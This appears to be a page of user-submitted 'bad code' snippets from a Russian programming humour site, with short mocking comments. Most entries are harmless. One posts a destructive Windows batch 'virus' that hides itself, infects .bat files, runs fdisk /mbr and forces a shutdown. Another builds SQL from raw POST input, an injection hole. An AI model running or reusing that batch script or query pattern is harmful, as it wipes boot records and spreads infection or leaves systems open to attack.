-
Лучший говнокод
- В номинации:
-
- За время:
-
-
+133
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
...
int
(mblen)(const char *s, size_t n)
{
if (s == (const char *)NULL) return 0; /* no state dependent codings */
if (n <= 0) return 0;
return (*s != 0);
}
...
int
mbtowc(wchar_t *pwc, register const char *s, size_t n)
{
if (s == (const char *)NULL) return 0;
if (n <= 0) return 0;
if (pwc) *pwc = *s;
return (*s != 0);
}
...
int
wctomb(char *s, wchar_t wchar)
{
if (!s) return 0; /* no state dependent codings */
*s = wchar;
return 1;
}
THE AMSTERDAM COMPILER KIT V6.0pre4
===================================
© 1987-2005 Vrije Universiteit, Amsterdam
2010-08-08
...
SUPPORT
=======
Languages:
ANSI C, Pascal, Modula 2. K&R is supported via the ANSI C compiler.
А где здесь, собсно, ANSI C?
Pythoner,
23 Апреля 2014
-
+143
- 1
+++++[>++>+++[>+++>+++<<-]>+<<<-]+++[>>>-.<[>>.>+<<+.<-]<.>>+.>>+[<.<-.<+>>>-]<<+<+<.<-]
Brainfuck, задача - вывести
1
2-1
1-2-3
4-3-2-1
1-2-3-4-5
6-5-4-3-2-1
Из этой ветки: http://habrahabr.ru/post/116842/#comment_3794462
gost,
21 Апреля 2014
-
−408
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
BOOL classDescendsFromClass(Class classA, Class classB)
{
while(classA)
{
if(classA == classB) return YES;
classA = class_getSuperclass(classA);
}
return NO;
}
Why not just use isSubclassOfClass: ?
ivandjeferov,
02 Апреля 2014
-
+147
- 1
- 2
- 3
- 4
- 5
...
$log = _POST['login'];
$pass = _POST['password'];
$sel = "SELECT * FROM `users` WHERE `login`=$log AND `password`=$pass";
...
Шок! Найдены исходники движка Говнокода!
Пожалуй, самый эпичный момент выложен тут.
gost,
01 Апреля 2014
-
+8
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
int Speed = 1000; // 1000 тиков = 1 секунда
int TimeBombs = 1020; // 1020 секунд = 17 минут
while(TimeBombs){
Sleep(Speed);
if(Speed > 0)
Speed--;
TimeBombs--;
}
cout << "Бабах!";
Террористам на заметку.
Ignat776,
26 Марта 2014
-
+124
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″
Нужно БОЛЬШЕ нулей в адресе!
http://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1% 8C-%D0%B2%D0%B8%D1%80%D1%83%D1%81
gost,
22 Марта 2014
-
+165
- 1
objects = objects.concat([something]);
альтернатива для push наконец найдена
strax,
21 Марта 2014
-
−126
- 1
- 2
- 3
- 4
while [ 1 ]
do
# ....
done
Прикололо. Не уверен что автор даже знает почему/как именно это работает.
Dummy00001,
07 Марта 2014
-
−124
- 1
- 2
out=`$SOME_PROPRIETARY_TOOL $LOTS_OF_PARAMETERS 2>&1`
out=`echo $out | awk '{print $23}'`
из официального скрипта. и мне вот ту $SOME_PROPRIETARY_TOOL надо править. пальцев до 23х считать не хватает.
Dummy00001,
07 Марта 2014
-
−92
- 1
sed 's/\(.*\)\t\(.*\)\t"\(.*\)"\t"\(.*\)"/<tr><td><a href="\2">\3<\/a><\/td><td>\4<\/td><td>\1<\/td><\/tr>/'
Только sed, только хардкор ;)
bormand,
06 Марта 2014